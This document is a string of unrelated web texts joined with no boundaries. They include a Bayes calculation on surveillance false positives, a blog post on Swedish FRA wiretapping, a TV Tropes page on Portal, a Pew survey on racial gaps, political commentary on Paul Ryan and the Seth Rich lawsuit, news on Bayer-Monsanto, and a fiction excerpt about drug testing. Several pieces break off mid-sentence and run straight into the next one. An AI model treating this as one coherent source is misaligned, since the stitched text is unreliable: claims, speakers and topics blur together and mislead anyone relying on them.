Which is quite a different question altogether. To figure this out, we need a bit more information. Recall that bad guys (specifically terrorists) are extremely rare, say on the order of one in a million (this is a wild over estimate with the true rate being much lower, of course – but lets not let that stop us). So,
P(bad guy) = 1/1,000,000
Further, lets say that the spooks have a pretty good algorithm that only comes up falsely positive (ie when the person under surveillance is a good guy) one in one hundred times.
P(+ | good guy) = 0.01
And now we have all that we need. Apply a little special Bayes sauce:
P(bad guy | +) = P(+ | bad guy) P(bad guy) / [ P(+ | bad guy) P(bad guy) + P(+ | good guy) P(good guy) ]
and we get:
P(bad guy | +) = 1/10,102
That is, for every positive (the NSA calls these ‘reports’) there is only a 1 in 10,102 chance (using our rough assumptions) that they’ve found a real bad guy.
UPDATE: While former NSA analyst turned whistle blower William Binney thinks this is a plausible estimate, the point here is not that this is the ‘correct probability‘ involved (remember that we based our calculations on very rough assumptions). The take away message is simply that whenever the rate of an event of interest is extremely low, even a very accurate test will fail very often.
UPDATE 2: The Wall Street Journal’s Numbers Guy has written a piece on this in which several statisticians and security experts respond.
UPDATE 3: If you can read German, |
the rain stopped for a few hours although the sky remained cloudy, the umpires decided they could wait until the field dries up enough to be playable. It considerably did so the game kicked off at around 3 p.m. Guam was in the visitors’ dugout, and the Philippines took the home.
Philippine’s starting pitcher Caleb Evaristo has just stepped on the mound when the rain poured again. The chief umpire advised both teams they could wait 30 minutes.
Time was up and the chief umpire decided to cancel the game.
Guam still wants to play the championship game at any given day ahead.
Tournament Director Mike Borja said he understands everybody wants to win.
He noted, the Philippines led the standings with three wins and only one loss while Guam had two wins and two losses.
Borja said they brought the matter up to the Little League International in Williamsport, Pennsylvania and let them decide.Last week, there was a verdict in a UK court saying that the GCHQ had indeed broken the law with its bulk surveillance. While many privacy advocates rejoiced, so did the GCHQ, saying the verdict confirms that their activity is legal. How can this be? Don’t count your chickens quite yet.
In 2008, I was serving on an expert panel with the then-overdirector of the Swedish NSA/GCHQ equivalent. There was a new general wiretapping law in the works, and I was a public outspoken opponent against it. For some reason, this overdirector thought it was a good idea to explain to me exactly how the Swedish FRA had been breaking the law and the constitution since 1976 – while I was covertly recording, just on the silly long shot something like that might actually happen.
“We’ve had this [surveillance] task for quite a while, but in this way [with this new law], it will become legal”, the overdirector – Anders Wik – had been recorded as saying.
And I had recorded everything, and published the recording, and mainstream media didn’t write a single article about it. Not one. Only the tech journal IDG did.
The FRA had been wiretapping satellites since 1976. They justify this by pointing at a law which says that anybody may listen to radio waves, which makes sense when you’re looking at radio waves from a TV signals or CW radio perspective. But the law just said radio waves in general, which obviously includes directional radio links, such as between satellites and ground stations.
This conflicts sharply with privacy-against-wiretapping laws, where you have a so-called expectation of privacy when you’re making a phonecall, and don’t (legally) have to think about how the phonecall circuit may be connected from a technical standpoint. But the FRA argued, that if your phonecall happened to take a jump over radio waves at some point, then it was fair game to them – according to another law.
In short, there’s a multitude of conflicting laws in the area, and civil liberties activists tend to pound the table on the constitutional civil liberties regulations. But these constitutions allow for exceptions more often than not, and they’re rarely tried in public court.
However, as shown above, the FRA knew full well they were breaking the law. At least the overdirector did, and one would assume that means the entire leadership knows they’re effectively a criminal organization. They just had – and have – secret courts on their side, like their ilk in the GCHQ and the NSA.
One favorable verdict does not a summer make. So it is also with this verdict, that says the GCHQ was guilty of illegal activity. All of it has most likely passed the statute of limitations, and in any case, their bulk wiretapping is legal now, according to the same verdict.
So just like with the FRA, GCHQ’s mass surveillance is legal now, even if a court said it didn’t use to be. That doesn’t help much.
Privacy remains your own responsibility. Count on neither secret courts nor the ambiguous legislation.http://tvtropes.org/pmwiki/pmwiki.php/Videogame/Portal
This page is for the Portal series as a whole. If you're looking for the first video game in the series with the same name, please click here.
Aperture Science. We do what we must, because we can.
Advertisement:
Portal is a First Person Puzzle Platformer video game series created by Valve that takes place in the same universe as the Half-Life series. As the name implies, the core gameplay element of the Portal games deals with using a "portal gun" to create doorway-type portals in order to solve physics based puzzles. The game features the protagonist Chell, a human who woke up as an unwilling test subject in the Aperture Science Enrichment Center, a research facility which has become completely abandoned, save for the personality of the insane central A.I. GLaDOS.
Officially published games in the series:
Portal (2007): The relatively short game that started it all, chronicling Chell's journey as GLaDOS guides her through a series of test chambers in the Enrichment Center.
Portal 2 (2011): The sequel that takes place after an unspecified amount of time after the original and is 2-3 times longer in terms of gameplay time. Portal 2 introduces a few major characters and explores in greater depth the history and workings of Aperture Science, as well as the origins and character of GLaDOS herself.
Advertisement: The Lab (2016): A Tech Demo Game for virtual reality, taking place in an Aperture Science pocket universe.
Other media includes:
The official website of the Portal series can be found at ThinkWithPortals.com
See also Portal Custom Maps, for fan mods of the series.
Do not confuse this with the similarly-named but wildly different-in-tone Postal game series.
This page applies for the series as a whole. Please add any examples from an individual game to their dedicated pages.
The Portal series contains examples of:Sunday, May 23, 2010 at 12:00PM
Last Friday, the State Department added the Caribbean island country of Jamaica to its travel alert list. According to the State Department website, this was done because of a recent escalation in organized criminal activity, including violent criminal activity, in and around Kingston, the national capital. Moreover, government defense forces could be deployed to cut down on the violence. Transportation to and from Norman Manley International Airport (IATA: KIN; ICAO: MKJP) could be affected by road blocks. The State Department, via its website, urged Americans traveling in Jamaica to exercise common sense. The travel alert expires on June 21.
related stories
Dept. of State warns against travel to and within Thailand (May 16, 2010)
Dept. of State continues to urge caution when traveling to Georgia (May 4, 2010)
original story (United States Department of State)Image caption The antiprotons lie sandwiched between the inner and outer Van Allen belts (in red) around the Earth
A thin band of antimatter particles called antiprotons enveloping the Earth has been spotted for the first time.
The find, described in Astrophysical Journal Letters, confirms theoretical work that predicted the Earth's magnetic field could trap antimatter.
The team says a small number of antiprotons lie between the Van Allen belts of trapped "normal" matter.
The researchers say there may be enough to implement a scheme using antimatter to fuel future spacecraft.
The antiprotons were spotted by the Pamela satellite (an acronym for Payload for Antimatter Matter Exploration and Light-nuclei Astrophysics) - launched in 2006 to study the nature of high-energy particles from the Sun and from beyond our Solar System - so-called cosmic rays.
These cosmic ray particles can slam into molecules that make up the Earth's atmosphere, creating showers of particles.
Many of the cosmic ray particles or these "daughter" particles they create are caught in the Van Allen belts, doughnut-shaped regions where the Earth's magnetic field traps them.
Among Pamela's goals was to specifically look for small numbers of antimatter particles among the far more abundant normal matter particles such as protons and the nuclei of helium atoms.
'Abundant source'
The new analysis, described in an online preprint, shows that when Pamela passes through a region called the South Atlantic Anomaly, it sees thousands of times more antiprotons than are expected to come from normal particle decays, or from elsewhere in the cosmos.
Image caption Antiprotons "annihilate" if they come into contact with normal protons
The team says that this is evidence that bands of antiprotons, analogous to the Van Allen belts, hold the antiprotons in place - at least until they encounter the normal matter of the atmosphere, when they "annihilate" in a flash of light.
Although normal matter particles outweigh the antiprotons by thousands to one, the band is "the most abundant source of antiprotons near the Earth", said Alessandro Bruno of the University of Bari, a co-author of the work.
"Trapped antiprotons can be lost in the interactions with atmospheric constituents, especially at low altitudes where the annihilation becomes the main loss mechanism," he told BBC News.
"Above altitudes of several hundred kilometres, the loss rate is significantly lower, allowing a large supply of antiprotons to be produced."
Dr Bruno said that, aside from confirming theoretical work that had long predicted the existence of these antimatter bands, the particles could also prove to be a novel fuel source for future spacecraft - an idea explored in a report for Nasa's Institute for Advanced Concepts.Tweet
For eCommerce the most important thing is trust. ~ Jack Ma, Founder of Alibaba
Online selling companies need to win customers before hoping to get orders from them. Winning trust in a virtual environment is a task that is easily said than done.
Luckily, there are proven ways to get it done. In this article, we will analyze in detail why customers are apprehensive about trusting online stores and how their trust can be won through counter actions.
First, let us know the reasons why customers might find your website less trustworthy.
Reasons why customers may not be trusting your website
The hard truth is, customers do not transact with websites that they don’t have trust in. websites and online stores commit several mistakes that sabotage their customers’ trust. Here are some such common mistakes that you could also be making to hurt your customer trust.
Lack of a humane element
No contact details. No about us. Customers need to know who you are they are before they will part with the money in their wallets or their private information.
Websites with shady About Us or lack of clear information for contact are least trusted by customers. Most customers will prefer shopping with a website that displays a contact information and is easily reachable over one that is not.
Unclear private policy
Although nobody reads a user private policy letter-to-letter, there are customers who feel safe by its presence. An unclear private policy or its lack thereof can make a customer security-conscious and want to stay away from it. Not to miss mentioning that 25% of online customers abstain from online shopping for fear of personal information being stolen. (Source: The National Fraud Information Center).
Spamvertising
Admit it. You have closed several windows because they bombarded you with pop-up ads or flashy screens. Popularly referred to as spamvertising, this is definitely a turnoff for customers. They tend to place little trust on online stores that resort to unruly advertising tactics.
Outdated content
Is your landing page still running an offer on an outdated smartphone? Or has the content remained passive while market scenario has changed. Well, then your customers are bound to think that your website no longer runs the business.
According to DemandMetric, 90% of the organizations are now experimenting with content marketing. An outdated content simply means your business is no longer publicizing itself or is inert. Not a great way to induce customers to buy from your store. And, they will soon doubt your capability for good service.
How to become a website or online store that customers trust?
Now that you know the reasons why customers place less trust on websites, here is how you can twist the situation to your favor. Some proven tactics to win customer trust.
#1. Become a humane brand
Give your brand and the website a face. Websites that have pictures or features of founders win more trust from customers. Think of these brands – Apple, Virgin, Microsoft, Ford, etc. They are all brands that create a humane connection with customers.
Although it is not possible to create such an impression, in the beginning, it is always possible to display your official contact means to convince customers. A simple team photo or one that describes who does what in your store is a way of showing that your store is indeed a legit business.
Image via: Chinaz.com
Most importantly, have a clearly written About Us section that gives ample information about the founder, the team and the business. More brownie points for a ‘Contact Us’ page giving details of phone, address and location.
#2. Have a clear privacy policy
Users, especially online shoppers are very sensitive about their personal information. Personal identity information, credit card numbers, location, tastes, and preferences can be counted as personal information. An ideal online store must take precautions to protect this information at any cost.
A clear privacy policy is the first step towards that. A clear and prominent privacy policy inspires confidence in the minds of customers and makes them feel safe shopping with the store. The privacy policy can mention facts like:
Practices adopted to protect customer data,
Abstaining from sharing information with third parties
Information collected will be used only for rendering a personalized experience
Most importantly, make sure the customers are convinced of the website’s security. EV SSL certificate and HTTPS encryption are quick ways to convince customers of website security.
EV SSL certificate will highlight the website ownership with a green address bar and HTTPS prefix to the URL. There will also be a padlock symbol that shows that the website is secured from possible third party attacks.
#3. Showcase customer reviews & ratings
Customer testimonials or reviews, in the text, image or video form can lure prospective customers. Such reviews contain valuable information which will help a new buyer make a sensible decision. Moreover, they establish the fact that the product is genuine and worth spending money on.
Also, customer reviews impart on-site ranking benefits. They simplify your task of optimizing the web page with keywords. In fact, the perfect user reviews may also be indexed by Google as “rich answers” that get displayed as top results for related keywords.
Star ratings are also highlighted by Google in the search results thus pushing conversion rates notches higher than otherwise.
Image Via: Mageworx.com
#4. Speed up page loading speed
For every 100 microsecond delay, Amazon loses 1% of its sales.
For every single second delay in loading, a corresponding 7% decline in conversions can be expected. Should we stress more on the need for page loading speed?
The faster your page loads, better your store will be at sustaining conversions. Thankfully, it is not that difficult either. If your store is built on any open source eCommerce platform like WordPress, Magento, Drupal, etc., it is always possible to accelerate the page loading speed by tweaking the internal settings.
Further, additional methods like some mentioned below can be used to achieve a Google-friendly page loading speed. (George Muller of Google once tweeted that anything less than 3 seconds to be an impressive page loading speed.)
Bringing it all together
Be it an online store or a personal blog, trust is the cornerstone to success. Without trust, no Internet-reliant business can win.
In the words of Warren Buffet, “It takes 20 years to build a reputation and less than 5 minutes to ruin it.” Building trust for your online store is not an easy task. It is a long and painful process, but one that will definitely pay off. Start right away.King’s Dream Remains an Elusive Goal; Many Americans See Racial Disparities
Five decades after Martin Luther King’s historic “I Have a Dream” speech in Washington, D.C., a new survey by the Pew Research Center finds that fewer than half (45%) of all Americans say the country has made substantial progress toward racial equality and about the same share (49%) say that “a lot more” remains to be done.
Blacks are much more downbeat than whites about the pace of progress toward a color-blind society. They are also more likely to say that blacks are treated less fairly than whites by police, the courts, public schools and other key community institutions.
While these differences by race are large, significant minorities of whites agree that blacks receive unequal treatment when dealing with the criminal justice system.
For example, seven-in-ten blacks and about a third of whites (37%) say blacks are treated less fairly in their dealings with the police.
Similarly, about two-thirds of black respondents (68%) and a quarter of whites (27%) say blacks are not treated as fairly as whites in the courts.
The survey also finds that large majorities of blacks (73%) and whites (81%) say the two races generally get along either “very well” or “pretty well.”
Similarly, large majorities of Hispanics and whites say the same thing about relations between their groups (74% and 77%, respectively). A substantial majority of blacks (78%) and smaller share of Hispanics (61%) say their groups get along.
Still, about a third of all blacks (35%) say they had been discriminated against or treated unfairly because of their race in the past year, as do 20% of Hispanics and 10% of whites.
The nationally representative survey of 2,231 adults, including 376 blacks and 218 Hispanics, was conducted by telephone Aug. 1-11.
50 Years of Change
The mixed views on progress toward racial equality found in the survey results are echoed in the findings of a Pew Research Center analysis of U.S. government data on indicators of well-being and civic engagement, including personal finance, life expectancy, educational attainment and voter participation. These data look at equality of outcomes rather than equality of opportunity.
The analysis finds that the economic gulf between blacks and whites that was present half a century ago largely remains. When it comes to household income and household wealth, the gaps between blacks and whites have widened. On measures such as high school completion and life expectancy, they have narrowed. On other measures, including poverty and homeownership rates, the gaps are roughly the same as they were 40 years ago.
Finances. Between 1967 and 2011 the median income of a black household of three rose from about $24,000 to nearly $40,000. Expressed as a share of white income, black households earn about 59% of what white households earn, a small increase from 55% in 1967. But when expressed as dollars, the black-white income gap widened, from about $19,000 in the late 1960s to roughly $27,000 today. The race gap on household wealth has increased from $75,224 in 1984 to $84,960 in 2011.
Other indicators of financial well-being have changed little in recent decades, including homeownership rates and the share of each race that live above the poverty line. The black unemployment rate also has consistently been about double that of whites since the 1950s.
Education. High school completion rates have converged since the 1960s, and now about nine-in-ten blacks and whites have a high school diploma. The trend in college completion rates tell a more nuanced story. Today, white adults 25 and older are significantly more likely than blacks to have completed at least a bachelor’s degree (34% vs. 21%, a 13 percentage point difference). Fifty years ago, the completion gap between whites and blacks was about 6 percentage points (10% vs. 4%). But expressed a different way, the black completion rate as a percentage of the white rate has improved from 42% then to 62% now.
Family formation. The analysis finds growing disparities in key measures of family formation. Marriage rates among whites and blacks have declined in the past 50 years, and the black-white difference has nearly doubled. Today about 55% of whites and 31% of blacks ages 18 and older are married. In 1960, 74% of whites and roughly six-in-ten blacks (61%) were married. The share of births to unmarried women has risen sharply for both groups; in 2011, more than seven-in-ten births to black women were to unmarried mothers, compared with about three-in-ten births to white women (72% vs. 29%).
Incarceration. Black men were more than six times as likely as white men in 2010 to be incarcerated in federal and state prisons, and local jails, the last year complete data are available. That is an increase from 1960, when black men were five times as likely as whites to be incarcerated.
Voter turnout. Participation rates for blacks in presidential elections has lagged behind those of whites for most of the past half century but has been rising since 1996. Buoyed by the historic candidacies of Barack Obama, blacks nearly caught up with whites in 2008 and surpassed them in 2012, when 67% of eligible blacks cast ballots, compared with 64% of eligible whites.
Life Expectancy. The gap in life expectancy rates among blacks and whites has narrowed in the past five decades from about seven years to four.
Looking Back Five Years
While demographic change happens slowly, attitudes can change quickly. The Pew Research Center survey finds that since 2009, there has been a fading of the heightened sense of progress that blacks felt immediately after Obama’s election in 2008.
Today, only about one-in-four African Americans (26%) say the situation of black people in this country is better now than it was five years ago, down sharply from the 39% who said the same in a 2009 Pew Research Center survey.
Among whites, the share that sees improvement in situation of blacks also fell, from 49% to 35%, in the last four years.
For both blacks and whites, the latest finding on this question is returning to the levels recorded in a Pew Research Center poll in 2007 on the eve of the Great Recession.
In the latest survey, opinions about black progress vary considerably by educational attainment among blacks, a change from the 2009 survey when there was no gap by education among blacks.
In the current poll, only 22% of blacks who have attended at least some college say the situation of black people in this country is better today than it was five years ago. Among those with a high school education or less, roughly one-third say things are better.
About the Report
The remainder of this report is organized in the following way. The first chapter breaks down the public’s perception of progress toward racial equality over the past 50 years. The second chapter focuses on perceptions of change in just the past five years among key demographic groups and compares the latest survey results with those from previous Pew Research Center surveys. The final chapter tracks changes in key measures of well-being for blacks and whites over the past 50 years as measured by the U.S. Census and other government statistics.Magic: The Gathering's upcoming Kaladesh set is filled with vibrant spells and majestic artifacts.
With an all new energy resource, vehicles for creatures to hop inside and pilot, and decision making mechanics taking center stage, Wizards of the Coast is moving hard from the gothic horror of the last year and going bright and brilliant. If you're heading out into this realm of creativity and artifice, these preview cards may help wreck and ruin an opposing mage's great inventions.
While some of the other colors have moved to make the most of amazing contraptions and wild artifacts, red comes with a new threat to smash and destroy all the tinkering and toiling. Not goblins, not yeti, not orcs, and not barbarians, but the somewhat disturbing and somehow cuddly gremlins! Check out two of the new gremlin cards below!
Kaladesh launches on September 30, with prerelease events happening on September 24-25 if you want a chance to get started on those incredible inventions early.Gravity Falls - Absolutely by Choco-Nymbus
I’m not ready for the last episode. My life stops in 2016, guys. This moment is just so cute…
It is funny because the twins are together, they overcome everything. But when their relation goes badly, everything spins. They are the Mystery Twins and for me, they will be the most attaching characters that I have pus see.. (I commanded the game 3DS for Christmas huhuhu * ^ *)
-
Je suis pas prète pour le dernier épisode. Ma vie s’arrête en 2016, les gens. Ce moment est juste tellement adorable… C'est marrant parce que quand les jumeaux sont ensemble, ils arrivent à tout surmonter. Mais quand quand leur relation va mal, tout part en vrille. C'est les jumeaux mystère et pour moi, ils resteront les plus attachant personnages que j'ai pus voir..
(j'ai commandé le jeu 3DS pour noël huhuhu *^*)(The Nation) It fell to Mitch McConnell, arguably the lousiest public speaker ever to practice the political craft, to sum up everything that can or should be said about the Republican National Convention.
Opening the "We Can Change It" themed second night of he convention with a call to remove President Obama, the Senate minority leader declared that it was time to put "Mitt Ryan" in charge of the republic.
Forgive McConnell.
He just said what everyone at the convention seemed to be thinking: Wouldn't it be cool if Paul Ryan were topping the ticket?
Special Section: Republican Convention 2012
Fact-checking 6 claims in Ryan's convention speech
Paul Ryan: Attack dog
Republicans did everything they could during the long campaign for the party's 2012 nomination to signal that they wanted Anyone But Romney. They got themselves all excited about Michele Bachmann, and Herman Cain and Newt Gingrich (seriously). They even voted for Rick Santorum, again and again and again. The Ron Paul people never gave up.
When all was said and done, Romney's money bought him the nod. That did not mean, however, that Republicans ever could or would come to love him.
But they do love Paul Ryan.
On the floor of the Tampa convention hall, as the moment of the congressman from Wisconsin's address approached, the delegates could not help themselves.
"I'm feeling like it's 1980," New York Republican Party chairman Ed Cox told me just minutes before Ryan spoke. "Just like 1980, with Reagan."
Why? "I've felt it since Paul Ryan came on the ticket."
A few feet away, the godmother of Republican social conservatism, Phyllis Schlafly pronounced herself "very satisfied" with the ticket.
Why? "I really like Paul Ryan."
And so it was, delegation to delegation, section to section, across the hall where Republicans gathered for their fortieth national convention.
A month ago, Mitt Romney looked like a loser. And even if the GOP ticket is not exactly soaring in the polls, Republican spirits have been soaring since Ryan was added to the ticket.
Why? Because Paul Ryan isn't just, as Ed Cox suggests, rather Reaganesque in looks and demeanor. He's rather Reaganesque in his approach to reality.
Ryan does not speak hard truths. He tells Republicans stories that they like to hear. Even if they are not true.
Ryan began the most-anticipated address of the convention with a biographical soliloquy that referenced his factory-town roots in Janesville, Wisconsin.
"President Barack Obama came to office during an economic crisis, as he has reminded us a time or two. Those were very tough days, and any fair measure of his record has to take that into account. My home state voted for President Obama. When he talked about change, many people liked the sound of it, especially in Janesville, where we were about to lose a major factory," Ryan told the convention.
"A lot of guys I went to high school with worked at that GM plant. Right there at that plant, candidate Obama said: 'I believe that if our government is there to support you.... this plant will be here for another hundred years.' That's what he said in 2008," continued Ryan. "Well, as it turned out, that plant didn't last another year."
True. Obama spoke the words that Ryan quoted. But Ryan's clear suggestion that Obama -- or his policies -- had something to do with the plant closure was a lie.
The government that was not there to support the Janesville workers was the administration of George W. Bush. GM announced and implemented the closure of the plant during Bush's presidency.
When a newly elected President Obama rushed to save the domestic auto industry, and perhaps to renew the prospects of shuttered plants like the one in Janesville, the man whose campaign Ryan is now propping up wrote an op-ed titled "Let Detroit [and, presumably Janesville] Go Bankrupt."
And since we're on the subject of government failing the workers in Paul Ryan's hometown, surely it is relevant to bring up the congressman's repeated votes for free-trade agreements that members of Janesville's United Auto Workers Local 95 warned would undermine and ultimately shutter their workplace.
A man who would use his hometown as a prop and then try to deceive the country about the causes of its circumstance has a certain appeal to Republican delegates who cut their political teeth making the case for trickle-down economics and weapons of mass destruction in Iraq.
Ryan actually pushed the envelope, peddling new fantasies, like the spin that says: "Obamacare comes to more than 2,000 pages of rules, mandates, taxes, fees, and fines that have no place in a free country."
This will come to news as news to Britain, Canada, Germany and other American allies that somehow keep the light of liberty shining even as they guarantee all citizens access to quality healthcare.
Come to think of it, there are quite a few rules associated with Medicare. Yet Ryan -- who has for years championed the radical deconstruction of the program -- came off like Lyndon Johnson's long-lost twin Wednesday night, as he preached no compromise in the defense of a government-organized healthcare system.
John Nichols, a pioneering political blogger, is a Washington correspondent for The Nation. His posts have been circulated internationally, quoted in numerous books and mentioned in debates on the floor of Congress. The opinions expressed in this commentary are solely those of the author.Deputy leader casts scorn on Tim Farron’s suggestion that some Labour MPs are seeking to jump ship following Corbyn’s election as leader
Leaving the Labour party to defect to the Liberal Democrats would be like swapping the Beatles for a Bananarama tribute band, according to Tom Watson.
The remarks from the new Labour deputy leader followed a suggestion by the Liberal Democrat leader, Tim Farron, that a number of Labour MPs had contacted him, distraught after Jeremy Corbyn’s landslide win.
“I don’t think anybody is seriously saying there’s defections... That would be like leaving the Beatles and joining a Bananarama tribute band,” said Watson, speaking on BBC Radio 4’s Today programme on Monday. “I don’t see any Labour MPs, or serious Labour MPs, who are going to defect to go to Tim Farron’s party.”
Farron, also speaking on the Today programme, said Watson was flattering himself if he thought he could ever have been a member of the Beatles, though he added that there was nothing wrong with Bananarama.
Facebook Twitter Pinterest Tim Farron said there was nothing wrong with Bananarama. Photograph: Crump/Barham/Daily Mail /REX
The Lib Dem leader said it was not his job to be a “home wrecker” for Labour MPs, but to “provide a home for liberals and social democrats wherever they may currently be”. He refused to go into more detail about the conversations he had had, saying it would be “indecent”.
Farron first hinted he’d had conversations with Labour MPs thinking of defecting in an interview with the Evening Standard last week, saying he was being called on to play the role of agony aunt. Speaking to the BBC’s Andrew Marr show on Sunday, Farron confirmed that more than two MPs had been in contact.
Despite Farron’s comments, peer and former Lib Dem MP Lady Tonge told the Sunday Times that she was considering defecting to Labour because Corbyn’s honest politics were “a breath of fresh air”, claiming that lots of Lib Dems were thinking of doing the same.
Tonge, a former MP for Richmond Park, is still a Lib Dem party member but left the parliamentary group in 2012 after refusing to apologise for saying Israel “is not going to be there for ever”.
Watson, who was elected as deputy Labour leader on the same day Corbyn became leader, urged the party’s MPs making critical comments to journalists about Corbyn’s leadership to “please respect the mandate he was given – 60% of our members voted for him”.
He added: “I’m not sure that some of our colleagues in the parliamentary Labour party are prepared to respect the mandate that he’s been given and I just ask that they show a little bit of respect and tolerance of him as a new leader.”
Watson told the Today programme: “If you look at the history of the Labour party, we’re about 115 years old and for about a century there have been different strands of political thought within the Labour party, from social democracy to command economy socialism to Christian socialism.
“In all of those years other than the last decade we found a way of moderating them, of having a creative process for having political outcomes that serve voters and we’re in that process again.”A new lawsuit makes the explosive claim that President Donald Trump personally reviewed an erroneous Fox News story about the death of a young Democratic National Committee staffer prior to that story’s release.
First reported by NPR’s David Folkenflik, the lawsuit purports to unveil that the White House reviewed a story that launched conspiracy theories across the web. It alleges that, on May 14, Trump donor Ed Butowsky texted a Fox News commentator to say that the president had “just read” an upcoming story about the death of Seth Rich, the 27-year-old DNC staffer gunned down outside his Washington, DC, home last year.
The lawsuit was filed by Rod Wheeler, a longtime Fox News commentator who says that Fox News fabricated quotes attributed to him to support the false story.
That Fox News story, published on the channel’s local affiliates on May 15 and circulated by its national outlets on May 16, claimed that Rich had leaked thousands of emails to WikiLeaks. Citing federal investigators, the story cast doubt on the DC police’s explanation of Rich’s death as the result of a burglary — and fueled online conspiracy theories that Rich was killed for blowing the whistle on the Democratic Party.
The story has since been widely debunked, and Fox News retracted it after it was up for one week, saying it didn’t meet the news outlet’s editorial standards. (The consensus of the American intelligence communities is that the Russian government was behind the WikiLeaks email dump.)
The White House is denying this is true, and Butowsky now says he was joking when he said Trump reviewed the story, according to NPR. Moreover, nothing in the lawsuit provides evidence to suggest that the White House intentionally inserted misleading information into the story, or that it provoked the conspiracy theories that accompanied its release.
Fox News is also denying the lawsuit’s claims. “The accusation that FoxNews.com published... [this] story to help detract from coverage of the Russia collusion issue is completely erroneous,” said Jay Wallace, Fox’s president of news, in a statement. “The retraction of this story is still being investigated internally and we have no evidence that Rod Wheeler was misquoted.”
Ed Butowsky tells me federal lawsuit is "bullshit" and denies sharing Fox article with WH. "I've never spoken to Trump in my life," he says. — Gabriel Sherman (@gabrielsherman) August 1, 2017
A quick rundown of the major players in the Seth Rich conspiracy theory
To understand the new claims against the White House, it’s useful to back up and look at the central players involved.
One key figure is Butowsky, the Trump donor, Republican surrogate, and Dallas investor who began investigating Rich’s death on his own accord, according to Folkenflik. Butowsky, also a Fox News commentator, has acknowledged trying to push the Rich-WikiLeaks storyline.
Butowsky also hired the other central player in this story: Rod Wheeler, who filed the lawsuit released on Tuesday. Wheeler, a former police detective who is also a Fox News commentator, agreed to help Butowsky investigate the case and was quoted by the network as saying, “My investigation up to this point shows there was some degree of email exchange between Seth Rich and WikiLeaks.” Wheeler appears to have since turned on Butowsky and Fox News, alleging in this new lawsuit that they deliberately mischaracterized the results of his investigation into Rich’s death and, in so doing, destroyed his credibility in the public eye.
Another key figure is Malia Zimmerman, the Fox News reporter who published the story. The lawsuit claims that Zimmerman “fabricated” Wheeler’s quotes to advance the Rich story.
Lastly, there’s Rich himself. The 27-year-old Nebraska native worked at the DNC helping people find where to vote. He’d previously worked at Greenberg Quinlan Rosner, a progressive opinion research and consulting firm. As Vox’s Jeff Guo explained, police found Rich on the sidewalk with multiple gunshot wounds, at least two in the back, and that he was the apparent victim of an attempted robbery. Because Rich worked at the DNC, which was subject to a hack, the circumstances of his death have spurred numerous conspiracy theories, both on the right and the left.
The lawsuit fingers Trump’s White House directly
Wheeler’s lawsuit makes claims against Fox News and Butowsky, alleging that the network ran with fabricated quotes to concoct the story about Rich originally published.
But it also points the finger at the White House directly. On the first page of the lawsuit, Wheeler recounts a text from Butowsky that makes the claim that the president has read the story:
The lawsuit provides other evidence suggesting that the White House may have been involved in the story. For instance, one page relays a voicemail that Butowsky sent Wheeler shortly before the story’s publication:
Additionally, the lawsuit notes that Butowsky took a meeting with then-White House Communications Director Sean Spicer. “Do you have a summary done yet?” Butowsky said in a text to Wheeler on April 18. “Just want to make sure we get point to Sean easily.”
Spicer told NPR that “he's not aware of any contact, direct or not, between Butowsky and Trump.” Moreover, Butowsky now tells NPR he has never shared drafts of the story with President Trump or his aides — that he was joking with a friend.
Additionally, NPR reported that Spicer says he took the meeting “as a favor to Butowsky, a reliable Republican voice. Spicer says he was unaware of any contact involving the president.”
Despite Spicer’s denials, |
But regulators might still be wary of the purchase, based on the combined control the company would have over agricultural products.
St. Louis-based Monsanto is the world's largest seller of seeds and the leading producer of genetically modified crops.
Bayer, meanwhile, might be familiar to many for its aspirin products — but it's also a major player in pesticides. As the Two-Way has reported, "the company is a German pharmaceutical and chemical powerhouse with 102,000 employees and $41 billion in revenue last year. Like Monsanto, it sells agricultural products such as seeds and pesticides. That's in addition to a plastics business, diagnostic imaging products, health products for animals and a biotech division."
The purchase is part of "a dramatic wave of consolidation among the companies that sell seeds and pesticides to farmers," as NPR's Dan Charles puts it.
"Two other such deals are currently in the works," Dan explains. "DuPont is merging with Dow, and the China National Chemical Corp. is buying Syngenta, which is currently the world's biggest seller of agricultural chemicals."
The Bayer-Monsanto deal might have interesting cultural consequences, as well
Monsanto, Dan notes, "has come to represent, in a shorthand way, lots of things that some people love to hate: genetically modified food; patents on seeds; lawsuits against farmers for saving and replanting those seeds; and corporate influence over government food policy."
Dan says there are a number of questions: Will people still march against Monsanto if Monsanto is no more? And how will Europe — famously opposed to GMOs — respond to the world's biggest GMO seller becoming an European company, instead of an American one?
Reuters reports that Bernstein Research analysts give the deal a 50/50 chance of being approved by regulators.
The analysts anticipate "political pushback" to the deal, including resistance from farmers, the wire service writes.
The deal comes as falling crop prices have caused a slide in farm profits, "which has cut into the amount that farmers can pay for chemicals and seeds," Jim tells our Newscast unit.
He says the deal is expected to be completed by the end of 2017. But should the deal fail to win regulatory approval, Bayer has agreed to pay a $2 billion fee.“Drip on?” Abnesti said over the P.A. “What’s in it?” I said. “Hilarious,” he said. “Acknowledge,” I said. Abnesti used his remote. My MobiPak™ whirred. Soon the Interior Garden looked really nice. Everything seemed super-clear. I said out loud, as I was supposed to, what I was feeling. “Garden looks nice,” I said. “Super-clear.” Abnesti said, “Jeff, how about we pep up those language centers?” “Sure,” I said. “Drip on?” he said. “Acknowledge,” I said. He added some Verbaluce™ to the drip, and soon I was feeling the same things but saying them better. The garden still looked nice. It was like the bushes were so tight-seeming and the sun made everything stand out? It was like any moment you expected some Victorians to wander in with their cups of tea. It was as if the garden had become a sort of embodiment of the domestic dreams forever intrinsic to human consciousness. It was as if I could suddenly discern, in this contemporary vignette, the ancient corollary through which Plato and some of his contemporaries might have strolled; to wit, I was sensing the eternal in the ephemeral. I sat, pleasantly engaged in these thoughts, until the Verbaluce™ began to wane. At which point the garden just looked nice again. It was something about the bushes and whatnot? It made you just want to lay out there and catch rays and think your happy thoughts. If you get what I mean. Then whatever else was in the drip wore off, and I didn’t feel much about the garden one way or the other. My mouth was dry, though, and my gut had that post-Verbaluce™ feel to it. “What’s going to be cool about that one?” Abnesti said. “Is, say a guy has to stay up late guarding a perimeter. Or is at school waiting for his kid and gets bored. But there’s some nature nearby? Or say a park ranger has to work a double shift?” “That will be cool,” I said. “That’s ED763,” he said. “We’re thinking of calling it NatuGlide. Or maybe ErthAdmire.” “Those are both good,” I said. “Thanks for your help, Jeff,” he said. Which was what he always said. “Only a million years to go,” I said. Which was what I always said. Then he said, “Exit the Interior Garden now, Jeff, head over to Small Workroom 2.” II
